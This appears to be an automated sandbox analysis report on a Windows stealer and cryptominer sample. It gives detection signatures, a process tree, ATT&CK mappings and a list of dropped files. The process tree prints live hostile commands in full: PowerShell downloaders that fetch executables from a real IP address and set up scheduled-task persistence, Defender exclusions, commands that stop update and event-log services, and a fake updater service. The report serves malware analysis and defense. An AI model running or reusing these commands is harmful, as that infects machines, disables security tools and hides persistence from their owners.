Overview

overview

10

Static

static

3

2026-08-10...lc.exe

windows10-2004-x64

10

2026-08-10...lc.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/08/2026, 02:24

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-10_776fa117222a72b65c855dfa08edcb7c_cobalt-strike_icedid_njrat_satacom_stealc.exe
  • Size 2.6MB
  • Sample260810-cv7sdsdf43
  • SHA256 7c6c0f35c36de3c0d4540c2d7ff0c945677297e85995781bd7ab0cb952814465
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionsalatstealerxmrigminerpersistencepyinstallerstealerupx

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://41.216.188.25:60080/api/uploads/2e78a4e979165afc520769a90426910f.exe

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://41.216.188.25:60080/api/uploads/64d604d2ed0f3c3a0dd2e015647a0e02.exe

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

    stealersalatstealer
  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Detect SalatStealer payload 10 IoCs
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 10 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 10 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 10 IoCs
  • UPX dump on OEP (original entry point) 25 IoCs
  • XMRig Miner payload 12 IoCs
    miner
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file 3 IoCs
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Executes dropped EXE 10 IoCs
  • Loads dropped DLL 53 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 26 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Detects Pyinstaller 2 IoCs
    pyinstaller
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-10_776fa117222a72b65c855dfa08edcb7c_cobalt-strike_icedid_njrat_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-10_776fa117222a72b65c855dfa08edcb7c_cobalt-strike_icedid_njrat_satacom_stealc.exe"
    1⤵
    • Downloads MZ/PE file
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:4132
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData' -Force"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$u='http://41.216.188.25:60080/api/uploads/2e78a4e979165afc520769a90426910f.exe';$user=(Get-CimInstance Win32_ComputerSystem).UserName;if(-not $user){exit 1};$uname=$user.Split('\')[-1];$p='C:\Users\'+$uname+'\AppData\Roaming\RuntimeHost.exe';$tn='RuntimeHost';try{(New-Object Net.WebClient).DownloadFile($u,$p);Unregister-ScheduledTask -TaskName $tn -Confirm:$false -ErrorAction SilentlyContinue;$a=New-ScheduledTaskAction -Execute $p;$t=New-ScheduledTaskTrigger -AtLogOn;$pr=New-ScheduledTaskPrincipal -UserId $user -LogonType Interactive -RunLevel Limited;Register-ScheduledTask -TaskName $tn -Action $a -Trigger $t -Principal $pr -Force;Start-ScheduledTask -TaskName $tn;exit 0}catch{exit 1}"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5012
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$u='http://41.216.188.25:60080/api/uploads/64d604d2ed0f3c3a0dd2e015647a0e02.exe';$user=(Get-CimInstance Win32_ComputerSystem).UserName;if(-not $user){exit 1};$uname=$user.Split('\')[-1];$p='C:\Users\'+$uname+'\AppData\Roaming\Bluetooth.exe';$tn='Bluetooth';try{(New-Object Net.WebClient).DownloadFile($u,$p);Unregister-ScheduledTask -TaskName $tn -Confirm:$false -ErrorAction SilentlyContinue;$a=New-ScheduledTaskAction -Execute $p;$t=New-ScheduledTaskTrigger -AtLogOn;$pr=New-ScheduledTaskPrincipal -UserId $user -LogonType Interactive -RunLevel Limited;Register-ScheduledTask -TaskName $tn -Action $a -Trigger $t -Principal $pr -Force;Start-ScheduledTask -TaskName $tn;exit 0}catch{exit 1}"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • Suspicious behavior: EnumeratesProcesses
      PID:5808
    • C:\Users\Admin\AppData\Local\Temp\tn_33.exe
      "C:\Users\Admin\AppData\Local\Temp\tn_33.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      PID:6024
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData,$env:windir) -ExclusionExtension @('.exe','.dll') -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4616
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4308
        • C:\Windows\System32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
            PID:2496
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:5012
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:4972
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          3⤵
          • Launches sc.exe
          PID:6092
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          3⤵
          • Launches sc.exe
          PID:1084
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          3⤵
          • Launches sc.exe
          PID:4896
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          3⤵
          • Power Settings
          PID:2716
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          3⤵
          • Power Settings
          PID:5620
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          3⤵
          • Power Settings
          PID:5544
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          3⤵
          • Power Settings
          PID:4508
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
          3⤵
          • Launches sc.exe
          PID:1160
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
          3⤵
          • Launches sc.exe
          PID:1196
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop eventlog
          3⤵
          • Launches sc.exe
          PID:3664
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
          3⤵
          • Launches sc.exe
          PID:2084
      • C:\Users\Admin\AppData\Local\Temp\tn_34.exe
        "C:\Users\Admin\AppData\Local\Temp\tn_34.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:1252
    • C:\Users\Admin\AppData\Roaming\WinTelemetry\WinTelemetry.exe
      C:\Users\Admin\AppData\Roaming\WinTelemetry\WinTelemetry.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3308
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData' -Force"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1220
    • C:\Users\Admin\AppData\Roaming\RuntimeHost.exe
      "C:\Users\Admin\AppData\Roaming\RuntimeHost.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3372
      • C:\Users\Admin\AppData\Roaming\RuntimeHost.exe
        "C:\Users\Admin\AppData\Roaming\RuntimeHost.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Adds Run key to start application
        PID:4320
    • C:\Users\Admin\AppData\Roaming\RuntimeHost.exe
      "C:\Users\Admin\AppData\Roaming\RuntimeHost.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:5632
      • C:\Users\Admin\AppData\Roaming\RuntimeHost.exe
        "C:\Users\Admin\AppData\Roaming\RuntimeHost.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:1464
    • C:\Users\Admin\AppData\Roaming\Bluetooth.exe
      "C:\Users\Admin\AppData\Roaming\Bluetooth.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4160
      • C:\Users\Admin\AppData\Roaming\Bluetooth.exe
        "C:\Users\Admin\AppData\Roaming\Bluetooth.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:52
    • C:\ProgramData\Google\Chrome\updater.exe
      C:\ProgramData\Google\Chrome\updater.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:976
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData,$env:windir) -ExclusionExtension @('.exe','.dll') -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        PID:5500
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2056
        • C:\Windows\System32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:2724
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:5508
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:5100
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:4564
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:5364
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:4572
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Power Settings
          PID:2404
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Power Settings
          PID:3644
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Power Settings
          PID:2372
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          PID:856
        • C:\Windows\system32\conhost.exe
          \??\C:\Windows\system32\conhost.exe
          2⤵
            PID:5900
          • C:\Windows\explorer.exe
            explorer.exe DmsUoRIlTn0QHNuS 6E3sjfZq2rJQaxvLPmXgsMQz0U9tkdtd9GD0dSAfm7R1FUUh4AVOFj5bb21te4qfDVPlLngdT4lmvS/8oePTS015gBiYvoZ+rA95jvwqduiposWnN0NyIm776dv2PrUyngfGTBIQgwzSe+2zvYTLUMknDR1P1zJEKpD9127OXd85Pxu7akWz6xnKQPcfg1cDNukP/4HZQS7KiX9nm9DX/pKCBe72ykgpWqGe0KlUrD/Pb3/yj+StinaaQyz6SC9PvR/ILvEM9g51coT4oD59vIFOAPo91WKBLPOms97023Lu1cvdM0iN8/XNv/T4fStUINaKTdpcGe1v+RVKdFiUzTSvZaRh6eqNM5IGBItz44ScsPxOENg8vyiP644nojerV8AnD/Q19JXOIFC2p3rIxSkVC6KXgO2Z8XrBjdqyBK639kU0CJlajxU5L8KKL/kW18Mg/JN9exjaQgxSKjwHEZo+uT6vZjZR1czzjrgIv80jSRdDXd4bIjzldoIsunXLPX7xC+MsWCsWAMyAYpe81DOMl9FMFZmFK11EalMPwN6IfPmQDAwfbBW9RSM8Dr1Av1Kp+r1+1h9RbjX05gSrUKbpUFgZkxqxNiuSxFlupbJqh6HII2M/coi6g/gIG7nj
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2540

        Network

              MITRE ATT&CK Enterprise v16

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              2
              T1059

              PowerShell

              1
              T1059.001

              Windows Command Shell

              1
              T1059.003

              System Services

              2
              T1569

              Service Execution

              2
              T1569.002

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Create or Modify System Process

              2
              T1543

              Windows Service

              2
              T1543.003

              Power Settings

              1
              T1653

              Privilege Escalation

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Create or Modify System Process

              2
              T1543

              Windows Service

              2
              T1543.003

              Defense Evasion

              Impair Defenses

              1
              T1562

              Modify Registry

              1
              T1112

              Credential Access

              Discovery

              Query Registry

              2
              T1012

              System Information Discovery

              1
              T1082

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              Lateral Movement

              Collection

              Command and Control

              Exfiltration

              Impact

              Service Stop

              1
              T1489

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 1bcd1d9218c13b87e3845530e06a92f1d86c560f99a9437c7677099b329c68ee
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              _imaging.cp314-win_amd64.pyd
              • Path C:\Users\Admin\AppData\Local\Temp\_MEI33722\PIL\_imaging.cp314-win_amd64.pyd
              • Size 2.5MB
              • SHA256 b4e06283c347910b5973bd5732159ea9eb26eda48e3eed183be2e3382db26597
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              _imagingft.cp314-win_amd64.pyd
              • Path C:\Users\Admin\AppData\Local\Temp\_MEI33722\PIL\_imagingft.cp314-win_amd64.pyd
              • Size 2.1MB
              • SHA256 7e6910e39fa06b4049f058a781a20bcac40c4844d46037859c76de76852dbb3e
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              VCRUNTIME140.dll
              • Path C:\Users\Admin\AppData\Local\Temp\_MEI33722\VCRUNTIME140.dll
              • Size 117KB
              • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              VCRUNTIME140_1.dll
              • Path C:\Users\Admin\AppData\Local\Temp\_MEI33722\VCRUNTIME140_1.dll
              • Size 48KB
              • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              _bz2.pyd
              • Path C:\Users\Admin\AppData\Local\Temp\_MEI33722\_bz2.pyd
              • Size 86KB
              • SHA256 ef5277eb670219274e7d1e92190ddf7f4bb94d4922ca1c1a12efadfd2c4c66f6
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              _ctypes.pyd
              • Path C:\Users\Admin\AppData\Local\Temp\_MEI33722\_ctypes.pyd
              • Size 139KB
              • SHA256 fd4847b99cd504a66bdc4739f15181b562774e6736bb88775880b073276dede1
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              _lzma.pyd
              • Path C:\Users\Admin\AppData\Local\Temp\_MEI33722\_lzma.pyd
              • Size 157KB
              • SHA256 39e5bc3624a26c9f6ad2e2df412543b0bd697a1d75338b44fe99763358d6d8cb
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              _queue.pyd
              • Path C:\Users\Admin\AppData\Local\Temp\_MEI33722\_queue.pyd
              • Size 35KB
              • SHA256 acf60e246f6a83a914fb6c411f04bd3eb8bba83070612ca44af99d74f06c5524
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              _zstd.pyd
              • Path C:\Users\Admin\AppData\Local\Temp\_MEI33722\_zstd.pyd
              • Size 491KB
              • SHA256 54e6acfbc1cb27c9afea0e133cadac68b89869ff1a14eb0c678d40eb9c655347
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              base_library.zip
              • Path C:\Users\Admin\AppData\Local\Temp\_MEI33722\base_library.zip
              • Size 1.3MB
              • SHA256 db3b5665371c69ce493e0d23925b1c7ba95bbe19a2a2f5758535a064e521f508
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              libffi-8.dll
              • Path C:\Users\Admin\AppData\Local\Temp\_MEI33722\libffi-8.dll
              • Size 38KB
              • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              python314.dll
              • Path C:\Users\Admin\AppData\Local\Temp\_MEI33722\python314.dll
              • Size 6.5MB
              • SHA256 18310593c50ad109fc5c95db1fd5c92ecec9e1bfc66c976df9fc11dd62616d5a
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              pywintypes314.dll
              • Path C:\Users\Admin\AppData\Local\Temp\_MEI33722\pywin32_system32\pywintypes314.dll
              • Size 133KB
              • SHA256 e62808f40462f8066c8d19811cebd15467de6992b1cb48be5f5903910f5395f7
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              win32clipboard.pyd
              • Path C:\Users\Admin\AppData\Local\Temp\_MEI33722\win32\win32clipboard.pyd
              • Size 28KB
              • SHA256 4be4e0accfc71bb58a41fde623bb5ca178859545b57a04b1cafe4eba608e03be
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              euc-cn.enc
              • Path C:\Users\Admin\AppData\Local\Temp\_MEI41602\_tcl_data\encoding\euc-cn.enc
              • Size 84KB
              • SHA256 1700af47dc012a48cec89cf1dfae6d1d0d2f40ed731eff6ca55296a055a11c00
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              __PSScriptPolicyTest_wrmxsh5h.kfl.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wrmxsh5h.kfl.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              Bluetooth.exe
              • Path C:\Users\Admin\AppData\Roaming\Bluetooth.exe
              • Size 21.1MB
              • SHA256 a4a92cbb07130821758d4988ea11e08721099b4ab476ef115901cfaed8effcb8
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              RuntimeHost.exe
              • Path C:\Users\Admin\AppData\Roaming\RuntimeHost.exe
              • Size 18.5MB
              • SHA256 1310b8872185bcb063b46c93f8e66c43c00ffa6a4c8e77b0a26a52dcf0abf87a
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              WinTelemetry.exe
              • Path C:\Users\Admin\AppData\Roaming\WinTelemetry\WinTelemetry.exe
              • Size 2.6MB
              • SHA256 7c6c0f35c36de3c0d4540c2d7ff0c945677297e85995781bd7ab0cb952814465
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              memory/52-2997-0x00007FFC7FDC0000-0x00007FFC7FDE9000-memory.dmp
              Download

              memory/1252-3040-0x00000000007E0000-0x0000000001435000-memory.dmp
              Download

              memory/1252-3052-0x00000000007E0000-0x0000000001435000-memory.dmp
              Download

              memory/1252-3046-0x00000000007E0000-0x0000000001435000-memory.dmp
              Download

              memory/1252-3012-0x00000000007E0000-0x0000000001435000-memory.dmp
              Download

              memory/1252-3054-0x00000000007E0000-0x0000000001435000-memory.dmp
              Download

              memory/1252-3056-0x00000000007E0000-0x0000000001435000-memory.dmp
              Download

              memory/1252-3036-0x00000000007E0000-0x0000000001435000-memory.dmp
              Download

              memory/1252-3034-0x00000000007E0000-0x0000000001435000-memory.dmp
              Download

              memory/1252-3032-0x00000000007E0000-0x0000000001435000-memory.dmp
              Download

              memory/1252-3031-0x00000000007E0000-0x0000000001435000-memory.dmp
              Download

              memory/1252-3029-0x00000000007E0000-0x0000000001435000-memory.dmp
              Download

              memory/1252-3058-0x00000000007E0000-0x0000000001435000-memory.dmp
              Download

              memory/2540-3038-0x0000000000880000-0x00000000010B5000-memory.dmp
              Download

              memory/2540-3047-0x0000000000880000-0x00000000010B5000-memory.dmp
              Download

              memory/2540-3050-0x0000000000880000-0x00000000010B5000-memory.dmp
              Download

              memory/2540-3049-0x0000000000880000-0x00000000010B5000-memory.dmp
              Download

              memory/2540-3048-0x0000000000880000-0x00000000010B5000-memory.dmp
              Download

              memory/2540-3039-0x0000000000880000-0x00000000010B5000-memory.dmp
              Download

              memory/2540-3020-0x0000000000880000-0x00000000010B5000-memory.dmp
              Download

              memory/2540-3021-0x0000000000880000-0x00000000010B5000-memory.dmp
              Download

              memory/2540-3023-0x0000000000880000-0x00000000010B5000-memory.dmp
              Download

              memory/2540-3027-0x0000000000880000-0x00000000010B5000-memory.dmp
              Download

              memory/2540-3026-0x0000000000880000-0x00000000010B5000-memory.dmp
              Download

              memory/2540-3025-0x0000000000880000-0x00000000010B5000-memory.dmp
              Download

              memory/2540-3024-0x0000000000880000-0x00000000010B5000-memory.dmp
              Download

              memory/2540-3018-0x0000000000880000-0x00000000010B5000-memory.dmp
              Download

              memory/2540-3022-0x0000000001470000-0x0000000001490000-memory.dmp
              Download

              memory/2540-3019-0x00000000005A0000-0x00000000005A1000-memory.dmp
              Download

              memory/4088-12-0x000002337AB40000-0x000002337AB4A000-memory.dmp
              Download

              memory/4088-18-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
              Download

              memory/4088-2-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
              Download

              memory/4088-5-0x000002337AA60000-0x000002337AA82000-memory.dmp
              Download

              memory/4088-6-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
              Download

              memory/4088-11-0x000002337AB60000-0x000002337AC12000-memory.dmp
              Download

              memory/4088-1-0x00007FFC6847F000-0x00007FFC68480000-memory.dmp
              Download

              memory/4088-10-0x000002337AB20000-0x000002337AB3E000-memory.dmp
              Download

              memory/4132-0-0x0000016CC9600000-0x0000016CC9601000-memory.dmp
              Download

              memory/4616-3002-0x000001E76F120000-0x000001E76F1D2000-memory.dmp
              Download

              memory/5012-27-0x0000022AF9580000-0x0000022AF95A4000-memory.dmp
              Download

              memory/5012-26-0x0000022AF9580000-0x0000022AF95AA000-memory.dmp
              Download

              memory/5012-31-0x0000022AF9570000-0x0000022AF958E000-memory.dmp
              Download

              memory/5500-3009-0x0000017ED0820000-0x0000017ED08D2000-memory.dmp
              Download

              memory/5900-3014-0x000001C44C590000-0x000001C44C615000-memory.dmp
              Download

              memory/5900-3017-0x000001C44C590000-0x000001C44C615000-memory.dmp
              Download

              memory/5900-3015-0x000001C44C620000-0x000001C44C621000-memory.dmp
              Download